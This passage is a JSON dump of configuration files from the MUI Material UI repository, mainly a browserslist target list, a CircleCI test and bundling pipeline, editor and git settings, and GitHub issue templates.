[
  {
    "path": ".browserslistrc",
    "content": "# Default/Fallback\n# `npx browserslist --mobile-to-desktop \"baseline widely available\"\"` when the last major is released.\n#\n# After you update the version, you might need to run `npx update-browserslist-db@latest` to update caniuse-lite to gather latest browser versions.\n# Otherwise, running `pnpm build` might fail due to unknown browser versions.\n#\n# On update, sync references where \"#stable-snapshot\" is mentioned in the codebase.\n[stable]\nand_chr 146\nand_chr 145\nand_chr 144\nand_chr 143\nand_chr 142\nand_chr 141\nand_chr 140\nand_chr 139\nand_chr 138\nand_chr 137\nand_chr 136\nand_chr 135\nand_chr 134\nand_chr 133\nand_chr 132\nand_chr 131\nand_chr 130\nand_chr 129\nand_chr 128\nand_chr 127\nand_chr 126\nand_chr 125\nand_chr 124\nand_chr 123\nand_chr 122\nand_chr 121\nand_chr 120\nand_chr 119\nand_chr 118\nand_chr 117\nand_ff 148\nand_ff 147\nand_ff 146\nand_ff 145\nand_ff 144\nand_ff 143\nand_ff 142\nand_ff 141\nand_ff 140\nand_ff 139\nand_ff 138\nand_ff 137\nand_ff 136\nand_ff 135\nand_ff 134\nand_ff 133\nand_ff 132\nand_ff 131\nand_ff 130\nand_ff 129\nand_ff 128\nand_ff 127\nand_ff 126\nand_ff 125\nand_ff 124\nand_ff 123\nand_ff 122\nand_ff 121\nchrome 146\nchrome 145\nchrome 144\nchrome 143\nchrome 142\nchrome 141\nchrome 140\nchrome 139\nchrome 138\nchrome 137\nchrome 136\nchrome 135\nchrome 134\nchrome 133\nchrome 132\nchrome 131\nchrome 130\nchrome 129\nchrome 128\nchrome 127\nchrome 126\nchrome 125\nchrome 124\nchrome 123\nchrome 122\nchrome 121\nchrome 120\nchrome 119\nchrome 118\nchrome 117\nedge 146\nedge 145\nedge 144\nedge 143\nedge 142\nedge 141\nedge 140\nedge 139\nedge 138\nedge 137\nedge 136\nedge 135\nedge 134\nedge 133\nedge 132\nedge 131\nedge 130\nedge 129\nedge 128\nedge 127\nedge 126\nedge 125\nedge 124\nedge 123\nedge 122\nedge 121\nfirefox 148\nfirefox 147\nfirefox 146\nfirefox 145\nfirefox 144\nfirefox 143\nfirefox 142\nfirefox 141\nfirefox 140\nfirefox 139\nfirefox 138\nfirefox 137\nfirefox 136\nfirefox 135\nfirefox 134\nfirefox 133\nfirefox 132\nfirefox 131\nfirefox 130\nfirefox 129\nfirefox 128\nfirefox 127\nfirefox 126\nfirefox 125\nfirefox 124\nfirefox 123\nfirefox 122\nfirefox 121\nios_saf 26.3\nios_saf 26.2\nios_saf 26.1\nios_saf 26.0\nios_saf 18.5-18.7\nios_saf 18.4\nios_saf 18.3\nios_saf 18.2\nios_saf 18.1\nios_saf 18.0\nios_saf 17.6-17.7\nios_saf 17.5\nios_saf 17.4\nios_saf 17.3\nios_saf 17.2\nios_saf 17.1\nios_saf 17.0\nsafari 26.3\nsafari 26.2\nsafari 26.1\nsafari 26.0\nsafari 18.5-18.7\nsafari 18.4\nsafari 18.3\nsafari 18.2\nsafari 18.1\nsafari 18.0\nsafari 17.6\nsafari 17.5\nsafari 17.4\nsafari 17.3\nsafari 17.2\nsafari 17.1\nsafari 17.0\n\n# snapshot of `npx browserslist \"maintained node versions\"`\n# On update check all #stable-snapshot markers\n[node]\nnode 14.0\n\n# same as `node`\n[coverage]\nnode 14.0\n\n# same as `node`\n[development]\nnode 14.0\n\n# same as `node`\n[test]\nnode 14.0\n"
  },
  {
    "path": ".circleci/config.yml",
    "content": "version: 2.1\norbs:\n  code-infra: https://raw.githubusercontent.com/mui/mui-public/c27d6c81557d1db10eaf70e0510d4f1289995454/.circleci/orbs/code-infra.yml\n  aws-cli: circleci/aws-cli@5.4.1\n  aws-s3: circleci/aws-s3@4.1.3\n\nparameters:\n  workflow:\n    description: The name of the workflow to run\n    type: string\n    default: pipeline\n  e2e-base-url:\n    description: The base url for running end-to-end test\n    type: string\n    default: ''\n\ndefault-job: &default-job\n  parameters:\n    react-version:\n      description: The version of react to be used\n      type: string\n      default: stable\n    typescript-version:\n      description: The version of typescript to be used\n      type: string\n      default: stable\n    e2e-base-url:\n      description: The base url for running end-to-end test\n      type: string\n      default: << pipeline.parameters.e2e-base-url >>\n  environment:\n    AWS_REGION_ARTIFACTS: eu-central-1\n    COREPACK_ENABLE_DOWNLOAD_PROMPT: '0'\n    DANGER_DISABLE_TRANSPILATION: 'true'\n  working_directory: /tmp/material-ui\n  executor:\n    name: code-infra/mui-node\n    node-version: '22.18'\n\ndefault-context: &default-context\n  context:\n    - org-global\n\n# CircleCI has disabled the cache across forks for security reasons.\n# Following their official statement, it was a quick solution, they\n# are working on providing this feature back with appropriate security measures.\n# https://discuss.circleci.com/t/saving-cache-stopped-working-warning-skipping-this-step-disabled-in-configuration/24423/21\n#\n# restore_repo: &restore_repo\n#   restore_cache:\n#     key: v1-repo-{{ .Branch }}-{{ .Revision }}\n\ncommands:\n  install-deps:\n    parameters:\n      ignore-workspace:\n        type: boolean\n        default: false\n      react-version:\n        type: string\n        default: stable\n      typescript-version:\n        type: string\n        default: stable\n      playwright-version:\n        type: string\n        default: stable\n    steps:\n      - code-infra/install-deps:\n          package-overrides: react@<< parameters.react-version >> typescript@<< parameters.typescript-version >> @playwright/test@<< parameters.playwright-version >> playwright@<< parameters.playwright-version >>\n          ignore-workspace: << parameters.ignore-workspace >>\n\njobs:\n  test_unit:\n    <<: *default-job\n    steps:\n      - checkout\n      - install-deps:\n          react-version: << parameters.react-version >>\n      - run:\n          name: Tests fake browser\n          command: pnpm test:node --no-isolate --no-file-parallelism\n      - run:\n          name: internal-scripts\n          command: |\n            # latest commit\n            LATEST_COMMIT=$(git rev-parse HEAD)\n\n            # latest commit where internal-scripts was changed\n            FOLDER_COMMIT=$(git log -1 --format=format:%H --full-diff packages-internal/scripts)\n\n            if [ $FOLDER_COMMIT = $LATEST_COMMIT ]; then\n              echo \"changes, let's run the tests\"\n              pnpm --filter @mui/internal-scripts test\n            else\n              echo \"no changes\"\n            fi\n      - store_test_results:\n          path: test-results\n\n  test_lint:\n    <<: *default-job\n    steps:\n      - checkout\n      - install-deps\n      - code-infra/eslint\n      - code-infra/stylelint\n      - code-infra/markdownlint\n      - code-infra/valelint\n  test_static:\n    <<: *default-job\n    steps:\n      - checkout\n      - install-deps\n      - code-infra/check-static-changes\n      - run:\n          name: Generate PropTypes\n          command: pnpm proptypes\n      - run:\n          name: '`pnpm proptypes` changes committed?'\n          command: git add -A && git diff --exit-code --staged\n      - run:\n          name: Generate the documentation\n          command: pnpm docs:api\n      - run:\n          name: '`pnpm docs:api` changes committed?'\n          command: git add -A && git diff --exit-code --staged\n      - run:\n          name: Update the navigation translations\n          command: pnpm docs:i18n\n      - run:\n          name: '`pnpm docs:i18n` changes committed?'\n          command: git add -A && git diff --exit-code --staged\n      - run:\n          name: '`pnpm extract-error-codes` changes committed?'\n          command: |\n            pnpm extract-error-codes\n            git add -A && git diff --exit-code --staged\n  test_types:\n    <<: *default-job\n    resource_class: 'medium+'\n    steps:\n      - checkout\n      - install-deps\n      - run:\n          name: Transpile TypeScript demos\n          command: pnpm docs:typescript:formatted\n      - run:\n          name: '`pnpm docs:typescript:formatted` changes committed?'\n          command: git add -A && git diff --exit-code --staged\n      - run:\n          name: Tests TypeScript definitions\n          command: pnpm typescript:ci\n          environment:\n            NODE_OPTIONS: --max-old-space-size=3072\n      - run:\n          name: Test module augmentation\n          command: pnpm typescript:module-augmentation\n  test_types_next:\n    <<: *default-job\n    resource_class: 'medium+'\n    steps:\n      - checkout\n      - install-deps:\n          typescript-version: << parameters.typescript-version >>\n      - run:\n          name: Tests TypeScript definitions\n          command: pnpm typescript:ci\n          environment:\n            NODE_OPTIONS: --max-old-space-size=3072\n      - run:\n          name: Prepare files\n          # Enable configuration that is only valid in typescript@next\n          command: sed -i 's|// <ts@next uncomment>||g' test/moduleResolution/tsconfig.node.json\n      - run:\n          name: Build declaration files\n          command: |\n            pnpm lerna run --scope \"@mui/*\" build\n      - run:\n          name: Log defect declaration files\n          command: |\n            node scripts/testBuiltTypes.mjs\n  test_browser_legacy:\n    <<: *default-job\n    resource_class: 'medium+'\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.49.1-noble\n    steps:\n      - checkout\n      - code-infra/install-pnpm\n      - run:\n          name: Configure pnpm engine-strict\n          command: pnpm config set --location project engine-strict false\n      - install-deps:\n          react-version: << parameters.react-version >>\n          playwright-version: '1.49.1'\n      - run:\n          name: Tests chromium\n          command: pnpm test:browser --no-isolate --no-file-parallelism\n      - run:\n          name: Tests webkit\n          environment:\n            VITEST_BROWSERS: 'webkit'\n          command: pnpm test:browser --no-isolate --no-file-parallelism\n      - run:\n          name: Tests firefox\n          environment:\n            VITEST_BROWSERS: 'firefox'\n          command: pnpm test:browser --no-isolate --no-file-parallelism\n      - store_test_results:\n          path: test-results\n  test_browser:\n    <<: *default-job\n    resource_class: 'medium+'\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    steps:\n      - checkout\n      - install-deps:\n          react-version: << parameters.react-version >>\n      - run:\n          name: Tests chromium\n          command: pnpm test:browser --no-isolate --no-file-parallelism\n      - run:\n          name: Tests webkit\n          environment:\n            VITEST_BROWSERS: 'webkit'\n          command: pnpm test:browser --no-isolate --no-file-parallelism\n      - run:\n          name: Tests firefox\n          environment:\n            VITEST_BROWSERS: 'firefox'\n          command: pnpm test:browser --no-isolate --no-file-parallelism\n      - store_test_results:\n          path: test-results\n  test_e2e:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    steps:\n      - checkout\n      - install-deps:\n          react-version: << parameters.react-version >>\n      - run:\n          name: pnpm test:e2e\n          command: pnpm test:e2e\n  test_e2e_website:\n    # NOTE: This workflow runs after successful docs deploy. See /test/e2e-website/README.md#ci\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    steps:\n      - checkout\n      - install-deps\n      - run:\n          name: pnpm test:e2e-website\n          command: pnpm test:e2e-website\n          environment:\n            PLAYWRIGHT_TEST_BASE_URL: << parameters.e2e-base-url >>\n  test_regressions:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    steps:\n      - checkout\n      - install-deps:\n          react-version: << parameters.react-version >>\n      - run:\n          name: Run visual regression tests\n          command: xvfb-run pnpm test:regressions\n      - run:\n          name: Build packages for fixtures\n          command: pnpm release:build\n      - run:\n          name: Validate type declarations\n          command: pnpm validate-declarations\n      - run:\n          name: Analyze exported typescript\n          command: pnpm test:attw\n          no_output_timeout: 20m\n      - run:\n          name: Any defect declaration files?\n          command: node scripts/testBuiltTypes.mjs\n      - run:\n          name: test exported typescript\n          command: pnpm --filter @mui-internal/test-module-resolution typescript:all\n      - run:\n          name: Upload screenshots to Argos CI\n          command: pnpm test:argos\n  test_bundling_prepare:\n    <<: *default-job\n    steps:\n      - checkout\n      - install-deps\n      - run:\n          name: Build packages for fixtures\n          command: pnpm lerna run --scope \"@mui/*\" build\n      - run:\n          name: Pack packages\n          command: pnpm release:pack\n      - persist_to_workspace:\n          root: packed\n          paths:\n            - '*'\n  test_bundling_node_cjs:\n    <<: *default-job\n    working_directory: /tmp/material-ui/test/bundling/fixtures/node-cjs/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_node_esm:\n    <<: *default-job\n    working_directory: /tmp/material-ui/test/bundling/fixtures/node-esm/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          # TODO: Known failure\n          command: pnpm start\n  test_bundling_next_webpack4:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    working_directory: /tmp/material-ui/test/bundling/fixtures/next-webpack4/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_next_webpack5:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    working_directory: /tmp/material-ui/test/bundling/fixtures/next-webpack5/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_create_react_app:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    working_directory: /tmp/material-ui/test/bundling/fixtures/create-react-app/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_snowpack:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    working_directory: /tmp/material-ui/test/bundling/fixtures/snowpack/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_vite:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n    working_directory: /tmp/material-ui/test/bundling/fixtures/vite/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_esbuild:\n    <<: *default-job\n    docker:\n      - image: mcr.microsoft.com/playwright:v1.58.2-noble\n    working_directory: /tmp/material-ui/test/bundling/fixtures/esbuild/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundling_gatsby:\n    <<: *default-job\n    executor:\n      name: code-infra/mui-node-browser\n      playwright-img-version: v1.58.2-noble\n      environment:\n        GATSBY_CPU_COUNT: '3'\n    working_directory: /tmp/material-ui/test/bundling/fixtures/gatsby/\n    steps:\n      - checkout:\n          path: /tmp/material-ui\n      - attach_workspace:\n          at: /tmp/material-ui/packed\n      - install-deps:\n          ignore-workspace: true\n      - run:\n          name: Test fixture\n          command: pnpm start\n  test_bundle_size_monitor:\n    <<: *default-job\n    steps:\n      - checkout\n      - install-deps\n      - run:\n          name: Prepare danger on PRs\n          command: pnpm danger ci\n          environment:\n            DANGER_COMMAND: prepareBundleSizeReport\n      - run:\n          name: Build @mui packages\n          command: pnpm release:build\n      - aws-cli/setup:\n          aws_access_key_id: $AWS_ACCESS_KEY_ID_ARTIFACTS\n          aws_secret_access_key: $AWS_SECRET_ACCESS_KEY_ARTIFACTS\n          region: ${AWS_REGION_ARTIFACTS}\n      # @TODO: Not using code-infra/upload-size-snapshot since it doesn't support setting concurrency yet\n      - run:\n          name: Create and upload a size snapshot\n          command: |\n            export AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID_ARTIFACTS\n            export AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY_ARTIFACTS\n            export AWS_REGION=$AWS_REGION_ARTIFACTS\n            pnpm size:snapshot --concurrency 6\n\n      # === LEGACY START ===\n      # remove once the UI can handle the new format\n      # persist size snapshot on S3\n      - when:\n          # don't run on PRs\n          condition:\n            not:\n              matches:\n                pattern: '.+'\n                value: '${CIRCLE_PULL_REQUEST}'\n          steps:\n            - aws-s3/copy:\n                arguments: --content-type application/json\n                from: size-snapshot.json\n                to: s3://mui-org-ci/artifacts/$CIRCLE_BRANCH/$CIRCLE_SHA1/\n      # === LEGACY END ===\n\n      # Keep the artifact storage as a CircleCI artifact\n      - store_artifacts:\n          name: Persist size snapshot as pipeline artifact\n          path: size-snapshot.json\n          destination: size-snapshot.json\n\n      - run:\n          name: Run danger on PRs\n          command: pnpm danger ci --fail-on-errors\n          environment:\n            DANGER_COMMAND: reportBundleSize\nworkflows:\n  version: 2\n  pipeline:\n    when:\n      equal: [pipeline, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_unit:\n          <<: *default-context\n      - test_lint:\n          <<: *default-context\n      - test_static:\n          <<: *default-context\n      - test_types:\n          <<: *default-context\n      - test_browser:\n          <<: *default-context\n      - test_browser_legacy:\n          <<: *default-context\n      - test_regressions:\n          <<: *default-context\n      - test_e2e:\n          <<: *default-context\n      - test_bundle_size_monitor:\n          <<: *default-context\n  e2e-website:\n    when:\n      equal: [e2e-website, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_e2e_website:\n          <<: *default-context\n  bundling:\n    when:\n      equal: [bundling, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_bundling_prepare:\n          <<: *default-context\n      - test_bundling_node_cjs:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_node_esm:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_create_react_app:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_snowpack:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_vite:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_esbuild:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_gatsby:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_next_webpack4:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n      - test_bundling_next_webpack5:\n          <<: *default-context\n          requires:\n            - test_bundling_prepare\n\n  # This workflow can be triggered manually on the PR\n  react-17:\n    when:\n      equal: [react-17, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_unit:\n          <<: *default-context\n          react-version: ^17.0.0\n          name: test_unit-react@17\n      - test_browser:\n          <<: *default-context\n          react-version: ^17.0.0\n          name: test_browser-react@17\n      - test_regressions:\n          <<: *default-context\n          react-version: ^17.0.0\n          name: test_regressions-react@17\n      - test_e2e:\n          <<: *default-context\n          react-version: ^17.0.0\n          name: test_e2e-react@17\n\n  # This workflow is identical to react-17, but scheduled\n  # TODO: The v17 tests have deteriorated to the point of no return. Fix for v18 once we\n  #       deprecate v17, and reenable this workflow.\n  # react-17-cron:\n  #   triggers:\n  #     - schedule:\n  #         cron: '0 0 * * *'\n  #         filters:\n  #           branches:\n  #             only:\n  #               - master\n  #               - next\n  #   jobs:\n  #     - test_unit:\n  #         <<: *default-context\n  #         react-version: ^17.0.0\n  #         name: test_unit-react@17\n  #     - test_browser:\n  #         <<: *default-context\n  #         react-version: ^17.0.0\n  #         name: test_browser-react@17\n  #     - test_regressions:\n  #         <<: *default-context\n  #         react-version: ^17.0.0\n  #         name: test_regressions-react@17\n  #     - test_e2e:\n  #         <<: *default-context\n  #         react-version: ^17.0.0\n  #         name: test_e2e-react@17\n\n  # This workflow can be triggered manually on the PR\n  react-18:\n    when:\n      equal: [react-18, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_unit:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_unit-react@18\n      - test_browser:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_browser-react@18\n      - test_regressions:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_regressions-react@18\n      - test_e2e:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_e2e-react@18\n\n  # This workflow is identical to react-18, but scheduled\n  react-18-cron:\n    triggers:\n      - schedule:\n          cron: '0 0 * * *'\n          filters:\n            branches:\n              only:\n                # #target-branch-reference\n                - master\n                - v5.x\n                - v6.x\n    jobs:\n      - test_unit:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_unit-react@18\n      - test_browser:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_browser-react@18\n      - test_regressions:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_regressions-react@18\n      - test_e2e:\n          <<: *default-context\n          react-version: ^18.0.0\n          name: test_e2e-react@18\n\n  # This workflow can be triggered manually on the PR\n  react-next:\n    when:\n      equal: [react-next, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_unit:\n          <<: *default-context\n          react-version: next\n          name: test_unit-react@next\n      - test_browser:\n          <<: *default-context\n          react-version: next\n          name: test_browser-react@next\n      - test_regressions:\n          <<: *default-context\n          react-version: next\n          name: test_regressions-react@next\n      - test_e2e:\n          <<: *default-context\n          react-version: next\n          name: test_e2e-react@next\n  # This workflow is identical to react-next, but scheduled\n  react-next-cron:\n    triggers:\n      - schedule:\n          cron: '0 0 * * *'\n          filters:\n            branches:\n              only:\n                # #target-branch-reference\n                - master\n                - v6.x\n    jobs:\n      - test_unit:\n          <<: *default-context\n          react-version: next\n          name: test_unit-react@next\n      - test_browser:\n          <<: *default-context\n          react-version: next\n          name: test_browser-react@next\n      - test_regressions:\n          <<: *default-context\n          react-version: next\n          name: test_regressions-react@next\n      - test_e2e:\n          <<: *default-context\n          react-version: next\n          name: test_e2e-react@next\n\n  typescript-next:\n    when:\n      equal: [typescript-next, << pipeline.parameters.workflow >>]\n    jobs:\n      - test_types_next:\n          <<: *default-context\n          typescript-version: next\n\n  typescript-next-cron:\n    triggers:\n      - schedule:\n          cron: '0 0 * * *'\n          filters:\n            branches:\n              only:\n                # #target-branch-reference\n                - master\n                - v6.x\n    jobs:\n      - test_types_next:\n          <<: *default-context\n          typescript-version: next\n"
  },
  {
    "path": ".editorconfig",
    "content": "# EditorConfig is awesome: https://editorconfig.org/\n\n# top-most EditorConfig file\nroot = true\n\n[*.md]\ntrim_trailing_whitespace = false\n\n[*.js]\ntrim_trailing_whitespace = true\n\n# Unix-style newlines with a newline ending every file\n[*]\nindent_style = space\nindent_size = 2\nend_of_line = lf\ncharset = utf-8\ninsert_final_newline = true\nmax_line_length = 100\n"
  },
  {
    "path": ".git-blame-ignore-revs",
    "content": "# Enable via `git config blame.ignoreRevsFile .git-blame-ignore-revs`\n# DO NOT ENABLE THIS CONFIG GLOBALLY\n# OTHERWISE git-blame WILL CRASH IN ANY REPOSITORY WITHOUT SUCH A FILE\n\n# changes to prettier config\n5dc1cbca1055c8440ae8c02fffbad7e6a1e2674e\nef96151de118fe2560682bdedf130e69739082ea\n7dc5fce440428d557c111b6c81ddf5dc02ad5d13\n27471b4564eb40ff769352d73a29938d25804e45\n98263e7470fc07a42480fdfe83c5ef719265a1d3\n4f2a07e140c954b478a6670c009c23a59ec3e2d4\nd10f8369897f9faa98548c7e51d6637e0f75e267\n048ea981091a8441747cf4cc1662a702fe7d0de1\n3ab4356063cfcca29277f3703635c850f918d56a\ne0e959a13d2a219dcd674829510b3afafccc687c\n\n# prettier upgrades\n519518fd1b2ac8d6fb16bf0f4b4cb87841c4c53b\n811c1abe39e9865873f23c7ba2c8c575714c2e4a\nc26253c58e610032b3f5ece73bebb032b245e45b\n02b722a249d1afe001e01827f6197c4b223ea0ce\nc4bd047854861c0658d94b0c2614fc2aa61a39d4\nfd7a2545a6832ef342051b293615acf975f408e5\n65d5646a36c2250075534971fae79ea9cf624663\n36a9ed95671f83c3e8443e5752964f4181e02894\n9b2b1942eb2a3be39012b24f2df6e48973f3a019\n"
  },
  {
    "path": ".gitattributes",
    "content": "# Set the default behavior, in case people don't have core.autocrlf set.\n* text=auto eol=lf\n# Undo the GitHub's default\n# https://github.com/github/linguist/blob/96ad1185828f44bb9b774328a584551ee57ed264/lib/linguist/vendor.yml#L177\npackages/**/*.d.ts -linguist-vendored\n# These icons are imported from Google.\n# Kept so that we can review the impact when changing the generation script.\npackages/mui-icons-material/lib/** linguist-generated\npackages/mui-icons-material/material-icons/** linguist-generated\npackages/mui-icons-material/legacy/** linguist-vendored\n# bundling fixtures\ntest/bundling/scripts/packages.js linguist-generated\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]\npatreon: # Replace with a single Patreon username\nopen_collective: mui-org\nko_fi: # Replace with a single Ko-fi username\ntidelift: npm/@mui/material\ncustom: # Replace with a single custom sponsorship URL\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/1.bug.yml",
    "content": "name: Bug report 🐛\ndescription: Create a bug report for Material UI, MUI System, or Joy UI.\nlabels: ['status: waiting for maintainer']\nbody:\n  - type: markdown\n    attributes:\n      value: Thanks for contributing by creating an issue! ❤️ Please provide a searchable summary of the issue in the title above ⬆️.\n  - type: input\n    attributes:\n      label: Search keywords\n      description: |\n        Your issue may have already been reported! First search for duplicates among the [existing issues](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n        If your issue isn't a duplicate, great! Please list the keywords you used so people in the future can find this one more easily:\n    validations:\n      required: true\n  - type: checkboxes\n    attributes:\n      label: Latest version\n      description: We roll bug fixes, performance enhancements, and other improvements into new releases.\n      options:\n        - label: I have tested the latest version\n          required: true\n  - type: textarea\n    attributes:\n      label: Steps to reproduce\n      description: |\n        **⚠️ Issues that we can't reproduce can't be fixed.**\n\n        Please provide a link to a live example and an unambiguous set of steps to reproduce this bug. See our [documentation](https://mui.com/material-ui/getting-started/support/#bug-reproductions) on how to build a reproduction case.\n        You can use this StackBlitz template as a starting point: [material-ui-vite-ts](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-vite-ts)\n      value: |\n        Steps:\n        1. Open this link to live example: (required)\n        2.\n        3.\n  - type: textarea\n    attributes:\n      label: Current behavior\n      description: Describe what happens instead of the expected behavior.\n  - type: textarea\n    attributes:\n      label: Expected behavior\n      description: Describe what should happen.\n  - type: textarea\n    attributes:\n      label: Context\n      description: What are you trying to accomplish? Providing context helps us come up with a solution that is more useful in the real world.\n  - type: textarea\n    attributes:\n      label: Your environment\n      description: Run `npx @mui/envinfo` and post the results. If you encounter issues with TypeScript please include the used tsconfig.\n      value: |\n        <details>\n          <summary><code>npx @mui/envinfo</code></summary>\n\n        ```\n          Don't forget to mention which browser you used.\n          Output from `npx @mui/envinfo` goes here.\n        ```\n        </details>\n  - type: markdown\n    attributes:\n      value: |\n        ## :heart: Love Material UI?\n\n        Consider donating $10 to sustain our open-source work: [https://opencollective.com/mui-org](https://opencollective.com/mui-org).\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/2.feature.yml",
    "content": "name: Feature request 💄\ndescription: Suggest a new idea for Material UI, MUI System, or Joy UI.\nlabels: ['status: waiting for maintainer']\nbody:\n  - type: markdown\n    attributes:\n      value: Thanks for contributing by creating an issue! ❤️ Please provide a searchable summary of the issue in the title above ⬆️.\n  - type: input\n    attributes:\n      label: Search keywords\n      description: |\n        Your issue may have already been reported! First search for duplicates among the [existing issues](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n        If your issue isn't a duplicate, great! Please list the keywords you used so people in the future can find this one more easily:\n    validations:\n      required: true\n  - type: checkboxes\n    attributes:\n      label: Latest version\n      description: We roll bug fixes, performance enhancements, and other improvements into new releases.\n      options:\n        - label: I have tested the latest version\n          required: true\n  - type: textarea\n    attributes:\n      label: Summary\n      description: Describe how it should work.\n  - type: textarea\n    attributes:\n      label: Examples\n      description: Provide a link to the Material Design specification, other implementations, or screenshots of the expected behavior.\n  - type: textarea\n    attributes:\n      label: Motivation\n      description: What are you trying to accomplish? Providing context helps us come up with a solution that is more useful in the real world.\n  - type: markdown\n    attributes:\n      value: |\n        ## :heart: Love Material UI?\n\n        Consider donating $10 to sustain our open-source work: [https://opencollective.com/mui-org](https://opencollective.com/mui-org).\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/3.rfc.yml",
    "content": "name: RFC 💬\ndescription: Request for comments for your proposal.\ntitle: '[RFC] '\nlabels: ['status: waiting for maintainer', 'RFC']\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Please provide a searchable summary of the RFC in the title above. ⬆️\n\n        Thanks for contributing by creating an RFC! ❤️\n  - type: textarea\n    attributes:\n      label: What's the problem?\n      description: Write a short paragraph or bulleted list to briefly explain what you're trying to do, what outcomes you're aiming for.\n  - type: textarea\n    attributes:\n      label: What are the requirements?\n      description: Provide a list of requirements that should be met by the accepted proposal.\n  - type: textarea\n    attributes:\n      label: What are our options?\n      description: What are the alternative options to achieve the desired outcome?\n  - type: textarea\n    attributes:\n      label: Proposed solution\n      description: |\n        This is the core of the RFC. Please clearly explain the reasoning behind your proposed solution, including why it would be preferred over possible alternatives.\n\n        Consider:\n        - using diagrams to help illustrate your ideas\n        - including code examples if you're proposing an interface or system contract\n        - linking to relevant project briefs or wireframes\n  - type: textarea\n    attributes:\n      label: Resources and benchmarks\n      description: Attach any issues, PRs, links, documents, etc… that might be relevant to the RFC.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/4.docs-feedback.yml",
